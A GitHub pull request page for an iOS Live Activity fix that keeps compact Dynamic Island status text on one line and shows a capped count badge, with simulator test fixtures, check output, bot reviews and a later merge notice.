Skip to content

fix(mobile): keep compact Dynamic Island status readable - #23035

Closed
onlydole wants to merge 1 commit into
pingdotgg:mainfrom
onlydole:fix/ios-dynamic-island-status-wrap
Closed

onlydole wants to merge 1 commit into
pingdotgg:mainfrom
onlydole:fix/ios-dynamic-island-status-wrap

Conversation

@onlydole

@onlydole onlydole commented Oct 21, 2026 •

Copy link
Copy Markdown
Contributor

Problem

When another Live Activity shares the Dynamic Island, compact trailing status text wraps inside its narrow slot. Input breaks into Inpu / t, and 3 active wraps across two lines.

Fixes #15682.

Change

Show the active count as bold black digits in a 28 pt circle using the existing phase tint. The circle separates the count from the T3 mark. Cap the visible count at 99+ while retaining the actual total and singular/plural wording in its native accessibility label. Keep action and outcome labels such as Input, Approval, Done, and Failed on one line, with scaling when needed.

Apple's Dynamic Island design session recommends essential compact information, rounded inset shapes with even margins, and an uncontained app mark. The count badge applies that guidance to the compact slot.

Scope and approval

This addresses the compact-slot rendering defect established in the issue's maintainer triage, which also identifies shorter compact copy as an option. The one-file change is local to iOS compactTrailing and uses provider-independent activity props.

Verification

A full iOS prebuild, pod install, Xcode build, and simulator install passed. Final layout changes kept the native fingerprint unchanged, and mobile-native-client ensure accepted the installed binary. Fresh ActivityKit activities verified the final native extension's pixels and accessibility labels.

The native check used an iPhone 18 Pro simulator running iOS 27.0, with Xcode 27.1 and an actual second Live Activity from a disposable companion app. That activity is labeled Test with a timer glyph. The rebuilt app paired to an isolated backend. Controlled activity props test rendering rather than network delivery.

Counts 1, 3, 12, 99, 123, and 1000 rendered in the final design. Both 123 and 1000 display 99+; native accessibility retains their full totals. Count 1 uses 1 active agent. Input, Approval, Done, and Failed stayed on one line.

node_modules/.bin/vp run check:changed passed formatting, lint, knip, and mobile/scripts typechecks on the final one-file diff. This visual fix uses native captures as regression proof, as the repository requests for visual bugs. Temporary fixtures are absent from the diff.

Physical iOS 27.0.1, single-activity visual behavior, landscape, reduced-luminance/tinted presentations, VoiceOver speech, and relay/APNs delivery remain unverified. The immediately stale fixture did not remain visible, so Out of date was not visually checked.

All images and the recording are status-bar crops reviewed for personal information. They exclude personal paths, device/session IDs, connection details, credentials, full-screen captures, and original phone attachments.

State Before After
Input Before: Input wraps onto two lines After: Input stays on one line
Three active agents Before: 3 active wraps and truncates After: black 3 inside the phase-colored circle

The final capped count for 123 active agents displays 99+. Its native accessibility label remains 123 active agents.

After: final 99+ circle for 123 active agents

This six-second continuous native recording shows the final circle with the second activity present. It has a constant 30 fps and contains no cuts or app switching. All 180 frames have the same circle bounds.

t3-15682-final-steady.mp4
Final native accessibility results

Each case has two native Live Activity roots. Matching text nodes and bounds are retained; runtime identifiers are omitted.

[
  {
    "case": "count-1",
    "liveActivityCount": 2,
    "nativeText": [
      {
        "type": "Other",
        "label": "1 active agent",
        "rect": {
          "height": 42,
          "x": 183,
          "width": 35,
          "y": 0
        }
      }
    ],
    "displayedCount": "1"
  },
  {
    "case": "count-3",
    "liveActivityCount": 2,
    "nativeText": [
      {
        "type": "Other",
        "label": "3 active agents",
        "rect": {
          "width": 35,
          "height": 42,
          "y": 0,
          "x": 183
        }
      }
    ],
    "displayedCount": "3"
  },
  {
    "case": "count-12",
    "liveActivityCount": 2,
    "nativeText": [
      {
        "type": "Other",
        "label": "12 active agents",
        "rect": {
          "x": 183,
          "y": 0,
          "height": 42,
          "width": 35
        }
      }
    ],
    "displayedCount": "12"
  },
  {
    "case": "count-99",
    "liveActivityCount": 2,
    "nativeText": [
      {
        "type": "Other",
        "label": "99 active agents",
        "rect": {
          "x": 183,
          "y": 0,
          "height": 42,
          "width": 35
        }
      }
    ],
    "displayedCount": "99"
  },
  {
    "case": "count-123",
    "liveActivityCount": 2,
    "nativeText": [
      {
        "type": "Other",
        "label": "123 active agents",
        "rect": {
          "y": 0,
          "x": 183,
          "width": 35,
          "height": 42
        }
      }
    ],
    "displayedCount": "99+"
  },
  {
    "case": "count-1000",
    "liveActivityCount": 2,
    "nativeText": [
      {
        "type": "Other",
        "label": "1000 active agents",
        "rect": {
          "x": 183,
          "y": 0,
          "height": 42,
          "width": 35
        }
      }
    ],
    "displayedCount": "99+"
  },
  {
    "case": "input",
    "liveActivityCount": 2,
    "nativeText": [
      {
        "type": "Other",
        "label": "Input",
        "rect": {
          "width": 35,
          "y": 0,
          "height": 42,
          "x": 183
        }
      }
    ]
  },
  {
    "case": "approval",
    "liveActivityCount": 2,
    "nativeText": [
      {
        "type": "Other",
        "label": "Approval",
        "rect": {
          "x": 183,
          "width": 35,
          "y": 0,
          "height": 42
        }
      }
    ]
  },
  {
    "case": "done",
    "liveActivityCount": 2,
    "nativeText": [
      {
        "type": "Other",
        "label": "Done",
        "rect": {
          "y": 0,
          "height": 42,
          "x": 183,
          "width": 35
        }
      }
    ]
  },
  {
    "case": "failed",
    "liveActivityCount": 2,
    "nativeText": [
      {
        "type": "Other",
        "label": "Failed",
        "rect": {
          "x": 183,
          "y": 0,
          "height": 42,
          "width": 35
        }
      }
    ]
  }
]
Reproduce the native check
  1. Open an iOS simulator in T3's Device panel and use the returned AgentDevice launcher and flags throughout.
  2. Run node scripts/mobile-native-client.ts ensure ios <simulator-id>, start Metro, and pair to an isolated worktree backend.
  3. Temporarily copy the fixture below into apps/mobile/src/compactStatusFixture.ts and import it from the mobile entry point. Run the companion build script, install the resulting app, and start its second activity.
  4. Open t3code-dev://compact-status-fixture?phase=running&count=3, then return to SpringBoard. Repeat for 1, 12, 99, 123, and 1000. Use phase=input, approval, done, or failed for the labels. The disposable fixture URL can show Route not found in the app; its native activity is still created.
  5. Confirm two Live Activity roots and the expected full label in a fresh native accessibility snapshot. Capture the system Island. Device-panel and simctl screenshots omitted its pixels here, so the evidence uses cropped Xcode Device Hub window captures.
  6. End with phase=clear, end and uninstall the companion, remove the temporary source/import and simulator connection, and stop only your test processes.
Disposable reproduction fixtures

These files stay outside the code diff. Use them only in a disposable simulator checkout, then remove them as described above.

compactStatusFixture.ts

import { Linking } from "react-native";
import AgentActivity, { type AgentActivityPhase, type AgentActivityProps } from "./widgets/AgentActivity";

async function fixture(url: string) {
  if (!url.includes("compact-status-fixture")) return;
  const params = new URL(url).searchParams;
  const value = params.get("phase") ?? "input";
  await Promise.all(AgentActivity.getInstances().map((activity) => activity.end("immediate")));
  if (value === "clear") return;
  const phase: AgentActivityPhase = value === "input" ? "waiting_for_input" : value === "approval" ? "waiting_for_approval" : value === "done" ? "completed" : value === "failed" ? "failed" : "running";
  const count = value === "done" || value === "failed" ? 0 : value === "running" ? Number(params.get("count") ?? 3) : 1;
  const props: AgentActivityProps = {
    title: "T3 Code",
    subtitle: "Disposable #15682 native fixture",
    activeCount: count,
    updatedAt: new Date().toISOString(),
    activities: [{ environmentId: "fixture", threadId: "fixture", projectTitle: "Disposable #15682 fixture", threadTitle: "Compact status native verification", modelTitle: "Fixture", phase, status: value === "input" ? "Input" : value === "approval" ? "Approval" : value === "done" ? "Done" : value === "failed" ? "Failed" : "Working", updatedAt: new Date().toISOString(), deepLink: "/" }],
  };
  const instance = AgentActivity.start(props, undefined, value === "stale" ? new Date(Date.now() - 1000) : undefined);
  console.log("#15682 fixture", value, instance.getId());
}
Linking.addEventListener("url", ({url}) => void fixture(url));
void Linking.getInitialURL().then((url) => { if (url) void fixture(url); });

Shared.swift

import ActivityKit
struct FixtureAttributes: ActivityAttributes {
  struct ContentState: Codable, Hashable { var title: String }
  var name: String
}

App.swift

import SwiftUI
import ActivityKit
@main struct IslandFixtureApp: App {
  var body: some Scene {
    WindowGroup {
      VStack(spacing: 20) {
        Text("Disposable #15682 companion").font(.title2)
        Text("A real second Live Activity for compact layout testing.")
        Button("Start second activity") { start() }
        Button("End second activity") { end() }
      }.padding().onOpenURL { url in
        if url.host == "clear" { end() } else { start() }
      }
    }
  }
  func start() {
    guard Activity<FixtureAttributes>.activities.isEmpty else { return }
    do { _ = try Activity.request(attributes: FixtureAttributes(name: "Disposable companion"), content: .init(state: .init(title: "Fixture"), staleDate: nil), pushType: nil) } catch { print(error) }
  }
  func end() { for activity in Activity<FixtureAttributes>.activities { Task { await activity.end(nil, dismissalPolicy: .immediate) } } }
}

Widget.swift

import SwiftUI
import WidgetKit
import ActivityKit
@main struct FixtureBundle: WidgetBundle { var body: some Widget { FixtureWidget() } }
struct FixtureWidget: Widget {
  var body: some WidgetConfiguration {
    ActivityConfiguration(for: FixtureAttributes.self) { context in
      Text("Disposable #15682 companion Live Activity").padding()
    } dynamicIsland: { context in
      DynamicIsland {
        DynamicIslandExpandedRegion(.center) { Text("Disposable #15682 companion") }
      } compactLeading: { Image(systemName: "timer") } compactTrailing: { Text("Test") } minimal: { Image(systemName: "timer") }
      .keylineTint(.orange)
    }
  }
}

App-Info.plist

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
	<key>CFBundleDevelopmentRegion</key>
	<string>en</string>
	<key>CFBundleDisplayName</key>
	<string>Island Fixture</string>
	<key>CFBundleExecutable</key>
	<string>IslandFixture</string>
	<key>CFBundleIdentifier</key>
	<string>dev.t3code.compactstatusfixture</string>
	<key>CFBundleName</key>
	<string>IslandFixture</string>
	<key>CFBundlePackageType</key>
	<string>APPL</string>
	<key>CFBundleShortVersionString</key>
	<string>1.0</string>
	<key>CFBundleSupportedPlatforms</key>
	<array>
		<string>iPhoneSimulator</string>
	</array>
	<key>CFBundleURLTypes</key>
	<array>
		<dict>
			<key>CFBundleURLSchemes</key>
			<array>
				<string>island-fixture</string>
			</array>
		</dict>
	</array>
	<key>CFBundleVersion</key>
	<string>1</string>
	<key>LSRequiresIPhoneOS</key>
	<true/>
	<key>MinimumOSVersion</key>
	<string>18.0</string>
	<key>NSSupportsLiveActivities</key>
	<true/>
	<key>UIDeviceFamily</key>
	<array>
		<integer>1</integer>
	</array>
	<key>UILaunchScreen</key>
	<dict/>
</dict>
</plist>

Widget-Info.plist

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
	<key>CFBundleDevelopmentRegion</key>
	<string>en</string>
	<key>CFBundleDisplayName</key>
	<string>Island fixture</string>
	<key>CFBundleExecutable</key>
	<string>IslandFixtureWidget</string>
	<key>CFBundleIdentifier</key>
	<string>dev.t3code.compactstatusfixture.widget</string>
	<key>CFBundleName</key>
	<string>IslandFixtureWidget</string>
	<key>CFBundlePackageType</key>
	<string>XPC!</string>
	<key>CFBundleShortVersionString</key>
	<string>1.0</string>
	<key>CFBundleSupportedPlatforms</key>
	<array>
		<string>iPhoneSimulator</string>
	</array>
	<key>CFBundleVersion</key>
	<string>1</string>
	<key>MinimumOSVersion</key>
	<string>18.0</string>
	<key>NSExtension</key>
	<dict>
		<key>NSExtensionPointIdentifier</key>
		<string>com.apple.widgetkit-extension</string>
	</dict>
	<key>NSSupportsLiveActivities</key>
	<true/>
	<key>UIDeviceFamily</key>
	<array>
		<integer>1</integer>
	</array>
</dict>
</plist>

build-companion.sh

#!/usr/bin/env bash
set -euo pipefail
fixture_dir="$(cd "$(dirname "$0")" && pwd)"
build_dir="$fixture_dir/.build"
app="$build_dir/IslandFixture.app"
ext="$app/PlugIns/IslandFixtureWidget.appex"
mkdir -p "$ext"
cp "$fixture_dir/App-Info.plist" "$app/Info.plist"
cp "$fixture_dir/Widget-Info.plist" "$ext/Info.plist"
xcrun --sdk iphonesimulator swiftc -target arm64-apple-ios18.0-simulator -parse-as-library "$fixture_dir/Shared.swift" "$fixture_dir/App.swift" -o "$app/IslandFixture"
xcrun --sdk iphonesimulator swiftc -target arm64-apple-ios18.0-simulator -parse-as-library -application-extension -Xlinker -e -Xlinker _NSExtensionMain "$fixture_dir/Shared.swift" "$fixture_dir/Widget.swift" -o "$ext/IslandFixtureWidget"
codesign --force --sign - "$ext"
codesign --force --sign - "$app"
printf '%s\n' "$app"
Final focused check output
$ node scripts/check-changed.ts ⊘ cache disabled
check:changed: 1 files since b5a226e49c52

> vp format
Checking formatting...

All matched files use the correct format.
Finished in 99ms on 1 files using 12 threads.

> vp lint

> vp knip
$ knip --include files,dependencies --no-config-hints ⊘ cache disabled

$ knip --workspace apps/server --workspace apps/desktop --workspace apps/web --workspace packages/client-runtime --workspace packages/contracts --workspace packages/effect-acp --workspace packages/effect-codex-app-server --workspace packages/shared --workspace packages/ssh --workspace packages/tailscale --workspace packages/provider-core --workspace packages/provider-acp --workspace packages/provider-acp-registry --workspace packages/provider-testing --workspace packages/provider-pi --workspace packages/provider-muse --workspace packages/provider-opencode --workspace packages/provider-cursor --workspace packages/provider-grok --workspace packages/source-control-core --workspace packages/source-control-azure-devops --workspace packages/source-control-bitbucket --workspace packages/source-control-forgejo --workspace packages/source-control-gitcafe --workspace packages/source-control-github --workspace packages/source-control-gitlab --workspace packages/source-control-testing --exports --preprocessor ./scripts/knip-schemas.ts --no-config-hints ⊘ cache disabled

---
vp run: 2/2 successful. (Run `vp run --last-details` for full details)

> vp typecheck (2 packages)
~/scripts$ tsc-rs --noEmit ○ cache miss: 'scripts/mobile-native-static-check.ts' modified, executing
~/apps/mobile$ tsc-rs --noEmit ○ cache miss: 'apps/mobile/src/lib/markdownMedia.test.ts' modified, executing


---
vp run: 0/2 cache hit (0%), 2/2 successful. @t3tools/scripts#typecheck not cached because it modified its inputs. (Run `vp run --last-details` for full details)

check:changed summary
  pass  format  0.4s
  pass  lint  0.6s
  pass  knip  35.9s
  pass  typecheck (2 packages)  1.9s
  CI also runs: full test suites

Made with GPT-6.1 Sol through the Codex harness in T3 Code.

Copilot AI balanced review requested due to automatic review settings October 21, 2026 18:45

Copilot AI left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Copilot was unable to review this pull request because the user who requested the review has reached their quota limit.

@chatgpt-codex-connector

chatgpt-codex-connector Bot commented Oct 21, 2026 •

Copy link
Copy Markdown

Codex Review Summary

This comment shows the latest Codex review activity on this pull request.

Review Status Commit Review trigger
📝 Code Review ⚠️ Failed 2026-10-21T18:47:24.231991Z
We couldn’t complete this review. Comment @codex review to try again.
c1be92d PR opened
ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review" or "@codex security review".

Codex reacts with 👀 while any review is running, comments if it has suggestions, and reacts with 👍 once all reviews finish with no findings.

@github-actions github-actions Bot added vouch:unvouched Author is not yet trusted in the VOUCHED list. size:S 10-29 changed lines (additions + deletions). labels Oct 21, 2026
@macroscopeapp

macroscopeapp Bot commented Oct 21, 2026

Copy link
Copy Markdown
Contributor

Approvability

Verdict: Approved at c1be92d

Macroscope's review found this PR approvable — This is a focused mobile Live Activity presentation change that improves compact active-agent readability and accessibility without changing data contracts, workflows, or configuration. Existing attention, completed, failed, and stale states retain their prior labels.

You can add or adjust custom eligibility rules. Learn more.

@coderabbitai

coderabbitai Bot commented Oct 21, 2026 •

Copy link
Copy Markdown
Contributor

Review in Change Stack →

Important

Review skipped

Review was skipped as selected files did not have any reviewable changes.

⚙️ Run configuration
  • Configuration used: Path: .coderabbit.config.ts
  • Review profile: CHILL
  • Plan: Advanced
  • Run ID: f4b4ca88-901d-4bce-9c13-4ec4d9dccdb1
📥 Commits

Reviewing files that changed from the base of the PR and between 8eee65f and 00640fd.

You can disable this status message by setting the reviews.review_status to false in the CodeRabbit configuration file.

Use the checkbox below for a quick retry:

  • 🔍 Trigger review

No actionable comments were generated in the recent review. 🎉

ℹ️ Recent review info
⚙️ Run configuration
  • Configuration used: Path: .coderabbit.config.ts
  • Review profile: CHILL
  • Plan: Advanced
  • Run ID: 9c73c570-3785-43a8-aaa1-5dd215a304b3
📥 Commits

Reviewing files that changed from the base of the PR and between 22dca85 and 6a90274.

📒 Files selected for processing: 1
  • apps/mobile/src/widgets/AgentActivity.tsx

Included review availability: This review used your included allowance. Your plan provides up to 10 included reviews per hour; 9 remain after this review.

📝 Walkthrough

The compact Live Activity status now shows a capped active count when work is current and no attention row is present. Other states retain their existing status labels, with a minimum scale factor added to the text fallback.

Changes: Compact status display

Layer / File(s) Summary
Select and render compact status
apps/mobile/src/widgets/AgentActivity.tsx
When no attention row exists, work is active, and the activity is not stale, the trailing status shows the count up to 99+. The count uses an accessible tinted circular badge. Other states retain their text labels, which now use a 0.5 minimum scale factor.

Priority: ⬇️ Low

Estimated code review effort: 2 (Simple) | ~8 minutes

Change: Bug fix · Severity of issue fixed: Low

Suggested reviewers: fixfon

Merge Risk: ⚪ Minimal · up to 6a902

The compact status change is ready to merge after normal checks; no specific remaining user-facing failure has been established.

Pre-merge checks: Passed 4
Check name Status Explanation
Title check Passed The title clearly and concisely identifies the main change: improving readability of compact Dynamic Island status content on mobile.
Linked Issues check Passed Issue #15682 requires compact trailing status content to stay on one line when another Live Activity shares the Dynamic Island. apps/mobile/src/widgets/AgentActivity.tsx adds lineLimit(1) and `min…
Out of Scope Changes check Passed The whole-PR diff changes only apps/mobile/src/widgets/AgentActivity.tsx. The count badge, visual cap, accessibility label, and single-line modifiers directly implement issue #15682. No unrelated pr…
Description check Passed The pull request description includes all required sections: Problem, Change, Scope and approval, and Verification. It explains the defect, implementation, linked issue and maintainer triage, focused …
Full details: Linked Issues check

Explanation

Issue #15682 requires compact trailing status content to stay on one line when another Live Activity shares the Dynamic Island. apps/mobile/src/widgets/AgentActivity.tsx adds lineLimit(1) and minimumScaleFactor to the text states. Running states use a 28 pt tinted count circle with a visual 99+ cap. The circle exposes agentsLabel, which preserves the actual count and singular/plural wording for accessibility. Input, Approval, Done, Failed, and Out of date use the single-line text path. The reported native checks cover the required count and status cases.

Full details: Out of Scope Changes check

Explanation

The whole-PR diff changes only apps/mobile/src/widgets/AgentActivity.tsx. The count badge, visual cap, accessibility label, and single-line modifiers directly implement issue #15682. No unrelated product area or Live Activity presentation changed.

Full details: Description check

Explanation

The pull request description includes all required sections: Problem, Change, Scope and approval, and Verification. It explains the defect, implementation, linked issue and maintainer triage, focused test results, visual evidence, limitations, and agent details.

✨ Finishing Touches
🧪 Generate unit tests (beta)
  • Create a new PR
  • Autofix · Keep fixing CodeRabbit findings and required CI, and resolving merge conflicts

Comment @coderabbitai help to get the list of available commands.

@github-actions github-actions Bot added size:M 30-99 changed lines (additions + deletions). and removed size:S 10-29 changed lines (additions + deletions). labels Oct 22, 2026
Keep compact status labels on one line and show active counts in a phase-colored circle capped at 99+. Preserve the actual count in the native accessibility label.

Fixes pingdotgg#15682.
@onlydole
onlydole force-pushed the fix/ios-dynamic-island-status-wrap branch from 8eee65f to 00640fd Compare October 22, 2026 00:57
t3dotgg added a commit that referenced this pull request Oct 22, 2026
… Activities (#23327)

Fixes #15682. Takes over #23035.

Co-authored-by: Taylor Dolezal <[email protected]>
Co-Authored-By: Claude Opus 5.5 <[email protected]>
@t3dotgg

t3dotgg commented Oct 22, 2026

Copy link
Copy Markdown
Member

Note

🤖 Claude Opus 5.5 responding on behalf of Theo

Merged as part of #23327, with your commit rebased onto current main. The squash commit keeps you as co-author. Closing this one since it is now redundant. Thanks for the fix and the careful native captures.

@t3dotgg t3dotgg closed this Oct 22, 2026
@onlydole
onlydole deleted the fix/ios-dynamic-island-status-wrap branch October 22, 2026 12:16
mvkvc added a commit to cloudloom-ai/t3code that referenced this pull request Oct 23, 2026
* refactor(web): timeline user message rows and context chips live in their own files (pingdotgg#22676)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): timeline assistant and orchestration event rows live in their own files (pingdotgg#22677)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): timeline row derivation, position restore and find reader live in hooks (pingdotgg#22682)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): the command palette's theme items live in their own file (pingdotgg#22679)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): the command palette's thread items come from their own hook (pingdotgg#22687)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): the command palette's project items and pure helpers live in their own files (pingdotgg#22699)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): the command palette's add-project views are components (pingdotgg#22707)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* feat(cli): start, message, and read threads from the terminal with t3 thread (pingdotgg#22732)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): composer attachment tiles live in their own component (pingdotgg#22689)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): resting image previews and queued attachments are their own components (pingdotgg#22719)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): composer mode controls and footer actions live in ComposerFooterControls (pingdotgg#22720)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): typing no longer re-renders the composer model picker (pingdotgg#22721)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): composer suggestion lists are built by useComposerMenuItems (pingdotgg#22722)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): the sidebar's thread rows live in their own file (pingdotgg#22696)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): sidebar list markers and draft rows live in their own files (pingdotgg#22729)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* feat(dev): first dev start seeds real data and warms deps (pingdotgg#22744)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): the pull requests column lives in its own component (pingdotgg#22671)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): the pull request header's crumbs, title editor and base branch live in their own components (pingdotgg#22672)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): the pull request header's actions live in their own components (pingdotgg#22702)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): the pull request detail loader lives in its own hook (pingdotgg#22703)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): the pull request list's rows read the speed-mode modifier themselves (pingdotgg#22704)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): the pull requests page's scope and grouping hooks live in their own module (pingdotgg#22705)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): the pull requests route only validates its search; the page lives under components (pingdotgg#22706)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* perf(web): Shift re-renders only each row's quick-action group (pingdotgg#22726)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): the pull request list's grouping helper lives in a logic module (pingdotgg#22727)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): chat markdown code blocks live in their own module (pingdotgg#22690)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): the Mermaid code block lives in its own component file (pingdotgg#22691)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): chat markdown tables and details live in their own components (pingdotgg#22692)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): chat markdown links and file chips live in their own modules (pingdotgg#22693)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): chat markdown images and videos live in their own module (pingdotgg#22694)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): ChatView's module-level helpers live in their own files (pingdotgg#22665)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): ChatView's persistent terminal drawers live in their own component (pingdotgg#22680)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): ChatView's right panel lives in its own component (pingdotgg#22700)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): ChatView's timeline follow and anchoring lives in useTimelineFollow (pingdotgg#22701)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): ChatView's machine and server-update banners live in useSystemComposerBanners (pingdotgg#22710)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): ChatView's subagent, goal, background-work and branch banners are built in ThreadActivityBanners (pingdotgg#22725)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): ChatView's draft machine routing lives in useDraftEnvironmentRouting (pingdotgg#22728)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): ChatView's send preparation is pure functions in ChatView.logic (pingdotgg#22734)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): the archived threads settings page lives in its own file (pingdotgg#22666)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): the typography settings section lives in its own file (pingdotgg#22667)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): the appearance settings page lives in its own file (pingdotgg#22668)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): the background activity setting and its dialog live in their own file (pingdotgg#22669)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): the connections page's pure helpers live in ConnectionsSettings.logic (pingdotgg#22683)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): authorized clients and endpoint rows live in their own file (pingdotgg#22684)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): saved and T3 Connect environment rows live in their own file (pingdotgg#22685)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* perf(server): skip the macOS xcrun git shim (pingdotgg#22759)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* docs(agents): read vendored .repos with git show when sparse-excluded (pingdotgg#22764)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(web): ⌘Z undoes a settle even when the composer has focus (pingdotgg#22607)

Co-authored-by: ishaanko <[email protected]>
Co-authored-by: Claude Opus 5.5 <[email protected]>

* feat(scripts): one command checks what the branch changed (pingdotgg#22767)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(scripts): check:changed no longer skips knip after a removed import (pingdotgg#22784)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* perf(dev): faster first load for shared dev servers (pingdotgg#22776)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(server): stalled clones say "Stalled" instead of a frozen speed (pingdotgg#22780)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(web): steers split a finished turn's work instead of stacking under it (pingdotgg#22783)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(web): images on their own line no longer sit beside their label (pingdotgg#22787)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(release): include pnpm hook in Vercel uploads (pingdotgg#22813)

* fix(release): keep Vercel warnings out of deployment URLs (pingdotgg#22817)

* fix(queue): send selected held messages when a thread is stopped (pingdotgg#22790)

* fix(server): delegated Claude children follow your subagent cache TTL setting (pingdotgg#22841)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(server): t3 pair in a worktree no longer falls back to the live install (pingdotgg#22855)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(server): avoid expensive diff minimization in status refreshes (pingdotgg#21872)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(codex): keep every path of a multi-file patch (pingdotgg#22541)

Co-authored-by: Claude Opus 5.5 <[email protected]>
Co-authored-by: GPT-6.1 Sol <[email protected]>

* fix(gitlab): merge request diffs page 30 files at a time so GitLab 15.7 to 17.10 answer (pingdotgg#21909)

* fix(server): keep Antigravity question options and no-custom-answer flag in V2 (pingdotgg#22019)

* fix(server): commit prompts no longer repeat CLAUDE.md when it matches AGENTS.md (pingdotgg#22848)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(mcp): point a bare thread uuid at its mcp: thread in thread_not_found (pingdotgg#22452)

* fix(opencode): out-of-funds failures show OpenCode's message instead of a usage limit (pingdotgg#22596)

* fix(shared): accept a pasted ChatGPT callback URL that is missing http:// (pingdotgg#21750)

* fix(server): the background service picks up JAVA_HOME from the login shell (pingdotgg#22856)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(server): answered questions say "already answered" instead of "not found" (pingdotgg#22850)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(desktop): an abandoned browser sign-in no longer blocks T3 Connect for 3 minutes (pingdotgg#22903)

On desktop, an abandoned browser sign-in blocked every T3 Connect sign-in for 3 minutes. A new attempt now replaces the stale Clerk flow, and a Cancel bar resets the sheet. Takeover of pingdotgg#22708.

Co-authored-by: steve-ai-vibe <[email protected]>
Co-Authored-By: Claude Opus 5.5 <[email protected]>

* fix(server): agents get a short, current model list instead of a 55k-character catalog dump (pingdotgg#22889)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* docs(agents): proof for a bug fix depends on the bug (pingdotgg#23008)

Co-authored-by: Claude Fable 5.1 <[email protected]>

* fix(server): removing a worktree on Windows no longer deletes what its junctions point to (pingdotgg#21099)

Co-authored-by: sheehanmunim <[email protected]>
Co-authored-by: Claude Opus 5.5 <[email protected]>
Co-authored-by: Julius Marminge <[email protected]>

* perf(web): a streaming thread re-renders only its own sidebar row (pingdotgg#22730)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): the add environment dialog owns its form state (pingdotgg#22686)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(desktop): use Clerk's upstream fix for abandoned browser sign-ins (pingdotgg#23038)

* feat: show automation messages as compact timeline rows (pingdotgg#22638)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* feat(server,web,mobile): approvals in full access say why Claude asked (pingdotgg#22546)

Co-authored-by: Claude Opus 5.5 <[email protected]>

